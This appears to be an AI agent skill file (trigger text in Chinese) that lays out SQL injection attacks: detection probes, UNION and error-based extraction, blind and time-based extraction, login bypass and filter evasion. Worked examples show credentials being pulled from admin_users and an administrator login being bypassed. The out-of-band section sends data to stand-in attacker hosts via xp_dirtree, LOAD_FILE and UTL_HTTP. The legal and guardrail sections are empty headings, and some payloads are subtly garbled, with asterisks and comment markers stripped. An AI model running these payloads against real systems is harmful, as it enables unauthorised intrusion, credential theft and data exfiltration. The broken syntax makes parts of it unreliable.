SQL Injection Testing
此技能应在用户要求“检测SQL注入漏洞”、“执行SQL注入攻击”、“利用SQL注入绕过身份验证”、“通过注入提取数据库信息”、“发现SQL注入缺陷”或“利用数据库查询漏洞”时使用。它提供了针对不同数据库系统识别、利用和理解SQL注入攻击向量的全面技术方法。
SQL Injection Testing
Purpose
Execute comprehensive SQL injection vulnerability assessments on web applications to identify database security flaws, demonstrate exploitation techniques, and validate input sanitization mechanisms. This skill enables systematic detection and exploitation of SQL injection vulnerabilities across in-band, blind, and out-of-band attack vectors to assess application security posture.
Inputs / Prerequisites
Required Access
Technical Requirements
Legal Prerequisites
Outputs / Deliverables
Primary Outputs
Evidence Artifacts
Core Workflow
Phase 1: Detection and Reconnaissance
Identify Injectable Parameters
Locate user-controlled input fields that interact with database queries:
# Common injection points
URL parameters: ?id=1, ?user=admin, ?category=books
Form fields: username, password, search, comments
Cookie values: session_id, user_preference
HTTP headers: User-Agent, Referer, X-Forwarded-For Test for Basic Vulnerability Indicators
Insert special characters to trigger error responses:
-- Single quote test
'-- Double quote test
"
-- Comment sequences
--
#
/*/
-- Semicolon for query stacking
;
-- Parentheses
)
Monitor application responses for:
Logic Testing Payloads
Verify boolean-based vulnerability presence:
-- True condition tests
page.asp?id=1 or 1=1
page.asp?id=1' or 1=1--
page.asp?id=1" or 1=1---- False condition tests
page.asp?id=1 and 1=2
page.asp?id=1' and 1=2--
Compare responses between true and false conditions to confirm injection capability.
Phase 2: Exploitation Techniques
UNION-Based Extraction
Combine attacker-controlled SELECT statements with original query:
-- Determine column count
ORDER BY 1--
ORDER BY 2--
ORDER BY 3--
-- Continue until error occurs-- Find displayable columns
UNION SELECT NULL,NULL,NULL--
UNION SELECT 'a',NULL,NULL--
UNION SELECT NULL,'a',NULL--
-- Extract data
UNION SELECT username,password,NULL FROM users--
UNION SELECT table_name,NULL,NULL FROM information_schema.tables--
UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'--
Error-Based Extraction
Force database errors that leak information:
-- MSSQL version extraction
1' AND 1=CONVERT(int,(SELECT @@version))---- MySQL extraction via XPATH
1' AND extractvalue(1,concat(0x7e,(SELECT @@version)))--
-- PostgreSQL cast errors
1' AND 1=CAST((SELECT version()) AS int)--
Blind Boolean-Based Extraction
Infer data through application behavior changes:
-- Character extraction
1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'--
1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='b'---- Conditional responses
1' AND (SELECT COUNT() FROM users WHERE username='admin')>0--
Time-Based Blind Extraction
Use database sleep functions for confirmation:
-- MySQL
1' AND IF(1=1,SLEEP(5),0)--
1' AND IF((SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a',SLEEP(5),0)---- MSSQL
1'; WAITFOR DELAY '0:0:5'--
-- PostgreSQL
1'; SELECT pg_sleep(5)--
Out-of-Band (OOB) Extraction
Exfiltrate data through external channels:
-- MSSQL DNS exfiltration
1; EXEC master..xp_dirtree '\\attacker-server.com\share'---- MySQL DNS exfiltration
1' UNION SELECT LOAD_FILE(CONCAT('\\\\',@@version,'.attacker.com\\a'))--
-- Oracle HTTP request
1' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual)) FROM dual--
Phase 3: Authentication Bypass
Login Form Exploitation
Craft payloads to bypass credential verification:
-- Classic bypass
admin'--
admin'/
' OR '1'='1
' OR '1'='1'--
' OR '1'='1'/
') OR ('1'='1
') OR ('1'='1'---- Username enumeration
admin' AND '1'='1
admin' AND '1'='2
Query transformation example:
-- Original query
SELECT FROM users WHERE username='input' AND password='input'-- Injected (username: admin'--)
SELECT
FROM users WHERE username='admin'--' AND password='anything'
-- Password check bypassed via commentPhase 4: Filter Bypass Techniques
Character Encoding Bypass
When special characters are blocked:
-- URL encoding
%27 (single quote)
%22 (double quote)
%23 (hash)-- Double URL encoding
%2527 (single quote)
-- Unicode alternatives
U+0027 (apostrophe)
U+02B9 (modifier letter prime)
-- Hexadecimal strings (MySQL)
SELECT FROM users WHERE name=0x61646D696E -- 'admin' in hex
Whitespace Bypass
Substitute blocked spaces:
-- Comment substitution
SELECT//username//FROM//users
SEL//ECT//username//FR//OM//users-- Alternative whitespace
SELECT%09username%09FROM%09users -- Tab character
SELECT%0Ausername%0AFROM%0Ausers -- Newline
Keyword Bypass
Evade blacklisted SQL keywords:
-- Case variation
SeLeCt, sElEcT, SELECT-- Inline comments
SEL/bypass/ECT
UN/bypass/ION
-- Double writing (if filter removes once)
SELSELECTECT → SELECT
UNUNIONION → UNION
-- Null byte injection
%00SELECT
SEL%00ECT
Quick Reference
Detection Test Sequence
1. Insert ' → Check for error
Insert " → Check for error
Try: OR 1=1-- → Check for behavior change
Try: AND 1=2-- → Check for behavior change
Try: ' WAITFOR DELAY '0:0:5'-- → Check for delay Database Fingerprinting
-- MySQL
SELECT @@version
SELECT version()-- MSSQL
SELECT @@version
SELECT @@servername
-- PostgreSQL
SELECT version()
-- Oracle
SELECT banner FROM v$version
SELECT FROM v$version
Information Schema Queries
-- MySQL/MSSQL table enumeration
SELECT table_name FROM information_schema.tables WHERE table_schema=database()-- Column enumeration
SELECT column_name FROM information_schema.columns WHERE table_name='users'
-- Oracle equivalent
SELECT table_name FROM all_tables
SELECT column_name FROM all_tab_columns WHERE table_name='USERS'
Common Payloads Quick List
| Purpose | Payload |
|---|---|
| Basic test | ' or " |
| Boolean true | OR 1=1-- |
| Boolean false | AND 1=2-- |
| Comment (MySQL) | # or -- |
| Comment (MSSQL) | -- |
| UNION probe | UNION SELECT NULL-- |
| Time delay | AND SLEEP(5)-- |
| Auth bypass | ' OR '1'='1 |
Constraints and Guardrails
Operational Boundaries
Technical Limitations
Legal and Ethical Requirements
Examples
Example 1: E-commerce Product Page SQLi
Scenario: Testing product display page with ID parameter
Initial Request:
GET /product.php?id=5 HTTP/1.1Detection Test:
GET /product.php?id=5' HTTP/1.1
Response: MySQL error - syntax error near '''Column Enumeration:
GET /product.php?id=5 ORDER BY 4-- HTTP/1.1
Response: Normal
GET /product.php?id=5 ORDER BY 5-- HTTP/1.1
Response: Error (4 columns confirmed)Data Extraction:
GET /product.php?id=-5 UNION SELECT 1,username,password,4 FROM admin_users-- HTTP/1.1
Response: Displays admin credentialsExample 2: Blind Time-Based Extraction
Scenario: No visible output, testing for blind injection
Confirm Vulnerability:
id=5' AND SLEEP(5)--
-- Response delayed by 5 seconds (vulnerable confirmed)Extract Database Name Length:
id=5' AND IF(LENGTH(database())=8,SLEEP(5),0)--
-- Delay confirms database name is 8 charactersExtract Characters:
id=5' AND IF(SUBSTRING(database(),1,1)='a',SLEEP(5),0)--
-- Iterate through characters to extract: 'appstore'Example 3: Login Bypass
Target: Admin login form
Standard Login Query:
SELECT FROM users WHERE username='[input]' AND password='[input]'Injection Payload:
Username: administrator'--
Password: anythingResulting Query:
SELECT FROM users WHERE username='administrator'--' AND password='anything'Result: Password check bypassed, authenticated as administrator.